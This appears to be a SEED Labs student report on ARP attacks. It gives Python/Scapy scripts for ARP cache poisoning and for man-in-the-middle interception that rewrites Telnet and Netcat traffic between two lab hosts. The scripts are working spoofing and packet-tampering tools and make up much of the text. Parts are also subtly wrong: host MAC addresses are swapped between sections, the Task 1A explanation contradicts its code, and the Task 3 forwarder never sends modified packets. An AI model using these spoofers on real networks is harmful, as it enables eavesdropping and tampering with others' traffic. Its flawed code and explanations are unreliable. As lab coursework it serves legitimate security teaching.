**ARP ATTACKS – SEED LABS**

Some basic info that we need to know of containers:

Host A:

* IP address: 10.9.0.5
* MAC address:02:42:0a:09:00:06

Host B:

* IP address: 10.9.0.6
* MAC address: 02:42:0a:09:00:05

Host M:

* IP address: 10.9.0.105
* MAC address: 02:42:0a:09:00:69

|  |
| --- |
| **Task 1: ARP Cache Poisoning**  **Code Snippet:**  **–Task1a**  from scapy.all import \*  #defining ip/macs  attackerMac="02:42:0a:09:00:69"  bIp="10.9.0.6"  victimIp="10.9.0.5"  E = Ether(dst="ff:ff:ff:ff:ff:ff")  A = ARP(op=1, hwsrc=attackerMac, psrc=bIp, pdst=victimIp, hwdst="ff:ff:ff:ff:ff:ff")  pkt = E/A  sendp(pkt)  **–Task1b**  from scapy.all import \*  #defining ip/macs  attackerMac="02:42:0a:09:00:69"  bIp="10.9.0.6"  victimIp="10.9.0.5"  E = Ether(dst="ff:ff:ff:ff:ff:ff")  A = ARP(op=2, hwsrc=attackerMac, psrc=bIp, pdst=victimIp, hwdst="ff:ff:ff:ff:ff:ff")  pkt = E/A  sendp(pkt)  **–Task1c)**  from scapy.all import \*  #defining ip/macs  attackerMac="02:42:0a:09:00:69"  bIp="10.9.0.6"  E = Ether(dst="ff:ff:ff:ff:ff:ff")  A = ARP(op=2, hwsrc=attackerMac, psrc=bIp, pdst=bIp, hwdst="ff:ff:ff:ff:ff:ff")  pkt = E/A  sendp(pkt)  \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  **Screenshot:**  **1a**        **1b**    if entry exists      if entry doesnt exist      **1c**      if entry exists    if entry does not exist    \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  **Explanation and Observation:**  In **task 1A**, our objective is to deceive host A into accepting a falsely mapped ARP packet. When you look at the screenshot for task 1A, you'll notice that the sender's MAC address belongs to the attacker's machine, but its IP address is that of host A. This is a forged ARP request packet with the operation code set to 1.  In **task 1B**, host M constructs an ARP reply packet to map B’s IP address to M’s MAC address. The packet is then sent to A, and we check whether the attack is successful or not. There are two scenarios to consider:  Host B already has host A in its ARP table.  Host B does not have host A in its ARP table.  In this task, we're utilizing ARP reply with operation code 2. In scenario 1, host B pings host A, updating its ARP table with the IP-to-MAC mapping. When we run the program from host M, the ARP table changes, mapping host A’s IP address to host M’s MAC address.  However, in scenario 2, with an empty ARP table, there's no change; no new entry is created.  Moving to **task 1C**, we have the same objective as before, but this time we're using gratuitous ARP. This type of ARP packet has the same source and destination IP addresses, and the MAC address is the broadcast, so there is no response to this ARP. The result is the same: if an entry exists before, it will be updated and matched to M's MAC address, but if an entry doesn't exist, nothing will happen; no new entry is created. |

**Task 2: MITM Attack on Telnet using ARP Cache Poisoning**

|  |
| --- |
| **Code Snippet:**  **Spoofing Code**  from scapy.all import \*  import time  #defining ip/macs  attackerMac="02:42:0a:09:00:69"  aIp="10.9.0.5"  bIp="10.9.0.6"  E = Ether(dst="ff:ff:ff:ff:ff:ff")  A = ARP(op=2, hwsrc=attackerMac, psrc=aIp, pdst=bIp, hwdst="ff:ff:ff:ff:ff:ff")  B = ARP(op=2, hwsrc=attackerMac, psrc=bIp, pdst=aIp, hwdst="ff:ff:ff:ff:ff:ff")  while (True):  sendp(E/A)  sendp(E/B)  time.sleep(5)  **Forwarding Code**  from scapy.all import \*  IP\_A = "10.9.0.5"  MAC\_A = "02:42:0a:09:00:05"  IP\_B = "10.9.0.6"  MAC\_B = "02:42:0a:09:00:06"  IP\_M = "10.9.0.105"  def spoof\_pkt(pkt):  if IP in pkt:  if pkt[IP].src == IP\_A and pkt[IP].dst == IP\_B:  newpkt = IP(bytes(pkt[IP]))  del(newpkt.chksum)  del(newpkt[TCP].payload)  del(newpkt[TCP].chksum)  if pkt[TCP].payload:  data = pkt[TCP].payload.load  newdata = b'Z' \* len(data)  send(newpkt/newdata)  elif pkt[IP].src == IP\_B and pkt[IP].dst == IP\_A:  newpkt = IP(bytes(pkt[IP]))  del(newpkt.chksum)  del(newpkt[TCP].chksum)  send(newpkt)  f = 'tcp and not host ' + IP\_M  pkt = sniff(iface='eth0', filter=f, prn=spoof\_pkt)  \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  **Screenshot:**    \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  **Explanation and Observation:**  Task 2 involves intercepting Telnet protocol communication. Since we're constantly on the lookout for opportunities to poison ARP caches, we'll run the spoofer from the previous task. Initially, we enable message forwarding using the command: `**sysctl net.ipv4.ip\_forward=1**`.  Next, A initiates a Telnet connection to B and establishes a connection. All messages will proceed as normal - we can verify this by observing the echo of "hello". Then, we disable forwarding so that we can modify messages using `**sysctl net.ipv4.ip\_forward=0**`. Additionally, we activate the forwarding code, which intercepts and alters the TCP messages.  The spoofer is a modification of Task 1, but now it targets both A and B, as we're aiming for a full man-in-the-middle attack. Meanwhile, our forwarding code replaces the TCP payload carrying the data with "Z". Consequently, the output on the Telnet will reflect this modification. |

**Task 3: MITM Attack on Netcat using ARP Cache Poisoning**

|  |
| --- |
| **Code Snippet:**  **For the spoofer, use task 2’s**  **Forwarder**  from scapy.all import \*  IP\_A = "10.9.0.5"  MAC\_A = "02:42:0a:09:00:05"  IP\_B = "10.9.0.6"  MAC\_B = "02:42:0a:09:00:06"  IP\_M = "10.9.0.105"  def spoof\_pkt(pkt):  if pkt[IP] and pkt[IP].src == IP\_A and pkt[IP].dst == IP\_B:    newpkt = IP(bytes(pkt[IP]))    del(newpkt.chksum)  del(newpkt[TCP].payload)  del(newpkt[TCP].chksum)  if pkt[TCP].payload:  data = pkt[TCP].payload.load.decode()  newdata = data.replace('netsec', 'aaaaaa').encode()  newpkt[IP].len = pkt[IP].len + len(newdata) - len(data)  newpkt = newpkt/newdata  else:  send(newpkt)    elif pkt[IP].src == IP\_B and pkt[IP].dst == IP\_A:  newpkt = IP(bytes(pkt[IP]))  del(newpkt.chksum)  del(newpkt[TCP].chksum)    send(newpkt)  f = 'tcp and (ether src 02:42:0a:09:00:05 or ether src 02:42:0a:09:00:06)'  pkt = sniff(filter=f, prn=spoof\_pkt)  \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  **Screenshot:**    Server-side on B machine    On A side:    \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  **Explanation and Observation:**  Netcat is a computer networking utility used for reading from and writing to network connections using TCP or UDP. In this code snippet, we establish a connection using Netcat, where B acts as the server and A as the client.  In the code, whenever the word 'netsec' is sent, it intercepts the packet, similar to Task 2, and replaces the word with 'aaaaaa'. The screenshot provided illustrates the contrast between A, displaying 'netsec', and B, where it has been changed to 'aaaaaa'.  To establish a connection using Netcat, the server employs the command **nc -lp 9090**, while the client uses **nc 10.9.0.6 9090**. Communication across the two terminals is mirrored. However, our custom code intercepts each packet before forwarding, modifying messages containing 'netsec' to 'aaaaaa'.  ***We must also follow the forwarding as in task2, so forwarding should be on before establishing the connection and then turned off when we start intercepting.*** |